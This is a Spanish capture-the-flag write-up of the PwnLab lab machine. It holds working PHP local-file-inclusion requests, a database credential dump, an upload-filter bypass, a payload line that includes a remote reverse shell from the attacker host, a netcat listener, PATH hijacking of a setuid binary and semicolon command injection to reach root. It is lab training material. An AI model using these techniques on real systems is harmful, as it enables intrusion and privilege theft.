Tras el escaneo de puertos pertinente no vemos ningún puerto atractivo a priori.

También con gobuster (dirbuster puede servir con un buen diccionario, pero tarda más y es menos exitoso), vemos varios archivos .php extras, config.php e index.php. No podemos acceder a ellos, todavía...

Navegando por la página vemos que está hecha en PHP y que además hay un punto en la URL candidato a inyecciones de cualquier tipo. Después de probar algunas sin éxito, quizás por su forma clásica también podríamos conseguir un LFI o un RFI.

Probamos las técnicas clásicas y conocidas para este menester:
https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

Resultando exitosa en concreto la de codificar en base64 el payload:

GET /index.php?page=php://filter/convert.base64-encode/resource=config HTTP/1.1
Host: 192.168.0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=gasvmaq1uemh1k7nsof7np65b3
Connection: close

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2016 02:12:27 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 405
Connection: close
Content-Type: text/html; charset=UTF-8

Este LFI nos permite hacer un include de config.php, de tal forma que podemos ver su código:

<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>

<img src="images/pwnlab.png">
[Home] [Login] [Upload]
<hr/>
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
</body>
</html>

Como vemos, está en base64. Decodificándolo:

```
<?php
$server  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
```

Está claro que hay que intentar conectarse a la MySQL de esa máquina e intentar hacer un dump de la base de datos:

```
root@kali:~/Security/Pwnlab# mysql -h 192.168.0.10 -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 53
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show full tables from Users;
+-----------------+------------+
| Tables_in_Users | Table_type |
+-----------------+------------+
| users           | BASE TABLE |
+-----------------+------------+
1 row in set (0.00 sec)

mysql> select * from users;
ERROR 1046 (3D000): No database selected
mysql> select * from Users;
ERROR 1046 (3D000): No database selected
mysql> select users from Users;
ERROR 1046 (3D000): No database selected
mysql> USE Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from Users;
ERROR 1146 (42S02): Table 'Users.Users' doesn't exist
mysql> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
```

| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.00 sec)

Al decodificar estos passwords en en base64 nos da:

+------+------------------+
| user | pass |
+------+------------------+
kent	JWzXuBJJNy
mike	SIfdsTEn6I
kane	iSv5Ym2GRo
+------+------------------+

Esta información nos sirve para loguearnos como usuarios del sistema. Esto nos permite acceder a la sección de upload, que nos permitirá subir un fichero. En seguida nos damos cuenta de que, en teoría, sólo permite subir imágenes. Intentando varias formas de bypass (null byte, archivo.php; jpg, …) vemos que va dando varios errores pero que es imposible el bypass. Es necesario conseguir este bypass para subir una shell que nos permita acceder al sistema.

Utilizaremos la misma técnica de LFI que antes pero esta vez para ver el código de upload.php con el fin de saber exactamente que controles se realizan al archivo que se sube:

HTTP/1.1 200 OK
Date: Tue, 30 Aug 2016 18:05:00 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 2053
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>

<img src="images/pwnlab.png">
[Home] [Login] [Upload]
<hr/>
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQppZiAoaXNzZXQoJF9QT1NUWyJzdWJtaXQiXSkpIHsNCiAgICAgICAgaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZX

Jyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUn
XTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkdXBsb2
FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsIC
cuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd
0bXBfbmFtZSddKTsNCgkJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIi
wiLnBuZyIpOyANCg0KCQlpZiAoISHpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkge
w0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2V
zIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PS
BmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZ
WluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0g
J2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmI
CRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAw
MDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQo
JCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2Fk
ZGlyIC4gJHVuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZX
h0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBf
bmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZml
sZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWVjaG8gIkVycm9yIGNCcpOw0KCQl9DQoJf
Q0KDQo/Pg==
</body>
</html>

Una vez más, decodificando el base64:

```
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png");

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
```

```
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' &&
$imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

?>
```

Vemos que se controla la extensión del archivo (todo lo que va del último punto hasta el final del nombre del archivo), el content-type y el tipo de archivo (los primeros bytes).
Luego, hay que hacer creer a la aplicación que se ha subido una imagen.
He intentado de todas las formas, a partir de un jpg legítimo, crear un jpg con código PHP dentro, mediante los metadatos de la imagen, tal que así:

```
exiftool -Comment="<?php include ("http://192.168.0.11/php-reverse-shell.php");?>" senuelo.jpg
```

Aquí se intenta un RFI pero también he intentado meter el código directamente en lugar de la referencia a la shell remota, sin ningún tipo de suerte.

También he intentado directamente subir la shell en .php, interceptándolo con el Burp, cambiéndole la extensión, el content-type y poniendo los primeros bits similares a los de un jpg, pero no se lo ha comido, siempre ha dado algún error de validación. Habría que probar esta misma técnica con las cabeceras para todas las extensiones permitidas de imágenes:

```
  // .jpg:  FF D8 FF
  // .png:  89 50 4E 47 0D 0A 1A 0A
  // .gif:  GIF87a
  //        GIF89a
  // .tiff: 49 49 2A 00
  //        4D 4D 00 2A
  // .bmp:  BM
  // .webp: RIFF ???? WEBP
  // .ico   00 00 01 00
  //        00 00 02 00 ( cursor files )
```

Sin embargo, parece que sólo funciona bien haciéndolo con “GIF89a”, no sé el motivo.

Dicho y hecho, subimos nuestra shell inversa pero del código de upload.php, vemos que irrevocablemente nos va a convertir el archivo subido en hashMD5(nombre_fichero).jpg, así que no podemos ejecutarla accediendo directamente a este archivo en /upload/ porque no lo interpretará como .php.

Cómo lo único que nos queda por mirar es el index.php, procedamos a ello con la misma técnica LFI. El resultado será:

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRj
b29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5n
J10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vd
CBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MY
WIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NC
jxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBo
mVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGE
gaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJa
WYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZ
SddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1
cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0
NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

```
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
```

</html>

Vemos que hay un include mediante una cookie de nombre “lang”. Trasteando un poco para ver si también aquí se puede explotar el LFI, vemos que así es y llegamos a:

GET /index.php HTTP/1.1
Host: 192.168.0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: lang=/../../../../../../../etc/passwd
Connection: close

HTTP/1.1 200 OK
Date: Tue, 30 Aug 2016 21:41:21 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1894
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash

mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>

<img src="images/pwnlab.png">
[Home] [Login] [Upload]
<hr/>
Use this server to upload and share image files inside the intranet
</body>
</html>

Esta información por sí misma no nos sirve de mucho todavía pero si hemos sido capaz de acceder a este archivo, sólo tenemos que hacer lo propio con la ruta de nuestra shell para que sea ejecutada.

Poniendo un nc a la escucha en la máquina kali: nc -nvlp 9997

Accedemos a la reverse shell que hemos subido antes:

GET /index.php HTTP/1.1
Host: 192.168.0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.9/?page=upload
Cookie: lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif
Connection: close
If-Modified-Since: Wed, 31 Aug 2016 00:07:48 GMT
If-None-Match: "158e-53b52e3368780"

¡Y estamos conectados!

rroot@kali:~/Security# nc -nvlp 9997
listening on [any] 9997 ...
connect to [192.168.0.11] from (UNKNOWN) [192.168.0.9] 32864
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
 23:57:15 up 9:57, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ whoami
www-data

Intentemos conseguir una shell completamente interactiva con el método the Phineas Phiser (hack

back!): http://blog.alguien.site/2016/05/shell-reversa-interactiva-lo-hackback.html

Una vez ya estamos dentro de la máquina, nos toca intentar escalar privilegios. Nos intentamos loguear con los usuarios/contraseñas que hemos conseguido antes. El de “mike” no funciona, los otros dos sí.
Intentamos obtener información del sistema para escalar privilegios: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Sin embargo, no encontramos nada interesante. Sin embargo, logueandose con kane, vemos que tiene un ELF ejecutable en su home:

```
kane@pwnlab:~$ ls
msgmike
```

Obtenemos más información del contenido de ese archivo:

```
kane@pwnlab:~$ cat msgmike
ELF######`4l4(###44444####4#4444#####@#@###@#@@@
#$####L#L L   ###H#H H DD##P tdXX X,,##Q td##/lib/ld-
linux.so.2###GNU## ###GNU   #3#K tgû  }뇟 e###  #K  ,#E ##3###
                                          <##libc.so.6_IO_stdin_usedsetregidset#T4##D#H
#L#P#T S      W#          t**[  5<  %@
%D h        %H          %L h#        %P h#        %T h
     1^     PTRh
h  QVh[          f f f f f f  #$f f f f f f  c-
`   #v#   t#U     #h`  Ŕ#  Đ t&  `-
`   #     ##   t#   t#U     #Ph`   #Ít&     '=`u#U
   |     `#   f  H  #  u                                                    듍
v   t U     #P  u     L$#     q U  Q  #h#h#
         #h#h#          #
                    h@  m      #M ra  f UW1 VS         }#
#l$0
                                              )   #  t'
D$8                    S  c      ⊣#[^_]
                                                #[  ###cat    /home/mike/msg.txt###;
(#     D#   hX           ##zR###
                                                  ### #\   F
                                                      J
                                                       t#x?#;*2$"(@     SD
        #G##uC#u|##@
                #A C
                  ##8l     a#A
                       #C#  #A#  N0#H#A  #A
                                AA  ##      #0  #  ##
$  #@  ###D  ##   o  ##  #   #                                  #
^
          ###8  #(###  #      o      o#   oz L  #  &  6  F  V GCC:
(Debian 4.9.2-10) 4.9.2GCC: (Debian 4.8.4-1) 4.8.4.symtab.strtab.shstrtab.interp.note.ABI-
tag.note.gnu.build-
id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_h
dr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.comment4##H##h#####
#####z#     #
```

#
 ◆#
$◆#8◆#X◆##◆◆##@◆##D◆##H◆##L◆##4◆##8◆##X◆##`◆######◆◆
(##<# P#`◆###\# v#◆_#X◆##◆##◆# ◆#\◆###◆#<◆##◆##◆##◆#◆◆a####◆◆#
crtstuff.c__JCR_LIST__deregister_tm_clonesregister_tm_clones__do_global_dtors_au
xcompleted.6279__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_arra
y_entrymsgmike.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_st
art_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTable__x86.get_pc_thu
nk.bxdata_start_edata_fini__data_startsystem@@GLIBC_2.0__gmon_start____dso_handle_IO_st
din_usedsetreuid@@GLIBC_2.0__libc_start_main@@GLIBC_2.0__libc_csu_init_end_start_fp_h
w__bss_startmainsetregid@@GLIBC_2.0_Jv_RegisterClasses__TMC_END___ITM_registerTMC
loneTable_init###4◆4#####H◆H# #1#h◆h#$#D◆◆◆o#◆◆◆# ##N
#◆◆◆#p####V###◆##^#^◆◆◆o#z◆z###k◆◆◆o#◆◆◆# ###z
#◆◆◆◆ B◆◆◆#(
◆## ◆_◆###◆##◆#`##◆##`◆`#◆##
◆##$◆$##◆##8◆8##◆##X◆X,#◆##◆◆◆◆#◆#@◆@###◆#D◆D###◆##H◆H###
◆##L◆L#◆#◆##4◆4###◆##8◆8 ##◆##X◆##`◆`##◆#0`9####◆#####P##-## #◆
|##kane@pwnlab:~$
kane@pwnlab:~$
kane@pwnlab:~$
kane@pwnlab:~$ strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text

.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msgmike.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
setreuid@@GLIBC_2.0
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
setregid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable

_init

No obstante, al intentar ejecutarlo:

```
kane@pwnlab:~$ ./msgmike
cat: /home/mike/msg.txt: No such file or directory
```

Lo que está pasando es que se está ejecutando el cat sin una ruta absoluta (/bin/sh cat o similar) y puesto que el archivo se ejecuta como usuario “mike”:

```
kane@pwnlab:~$ ls -rlt
total 8
-rwsr-sr-x 1 mike mike 5148 Mar 17 13:04 msgmike
kane@pwnlab:~$ chmod 777 msgmike
```

Podemos aprovecharnos de esta situación. Podemos poner la ruta de nuestro directorio en el PATH y crear un archivo que se llame “cat” para que de esta foma, al ejecutarse el ELF y hacer una llamada al cat, la haga a nuestro fichero. En este fichero, simplemente meteremos una orden para ejectuar una shell, que obviamente se ejecutará con usuario “mike”. Algo así:

```
kane@pwnlab:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

kane@pwnlab:~$ echo "/bin/sh" > cat
kane@pwnlab:~$ chmod 777 cat
kane@pwnlab:~$ export PATH=.
kane@pwnlab:~$ ./msgmike
$ id
/bin/sh: 1: id: not found
$ export PATH=usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
$ ls
cat  msgmike
$ id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
$
$
$
$ ls
cat  msgmike
$ cd ..
$ ls
john  kane  kent  mike
$ cd mike
$ ls
msg2root
$ python -c 'import pty;pty.spawn("/bin/bash")'
mike@pwnlab:/home/mike$ ls
msg2root
mike@pwnlab:/home/mike$ ./msg2root
Message for root: U b33n h4ck3d
U b33n h4ck3d
```

Veamos qué hace este programa para enviar el mensaje a root:

```
mike@pwnlab:/home/mike$ strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
```

register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msg2root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
fgets@@GLIBC_2.0
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
stdin@@GLIBC_2.0
_end
_start
_fp_hw
asprintf@@GLIBC_2.0
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init

El comando en negrita se puede romper con un simple punto y coma, y encadenar un nuevo comando…

mike@pwnlab:/home/mike$ ./msg2root
Message for root: aa; cat /etc/messages.txt
aa

Así la cosas, ya está prácticamente todo hecho:

mike@pwnlab:/home/mike$ ./msg2root
Message for root: aa; ls /root
aa

flag.txt messages.txt
mike@pwnlab:/home/mike$ ./msg2root
Message for root: aa; cat /root/flag.txt
aa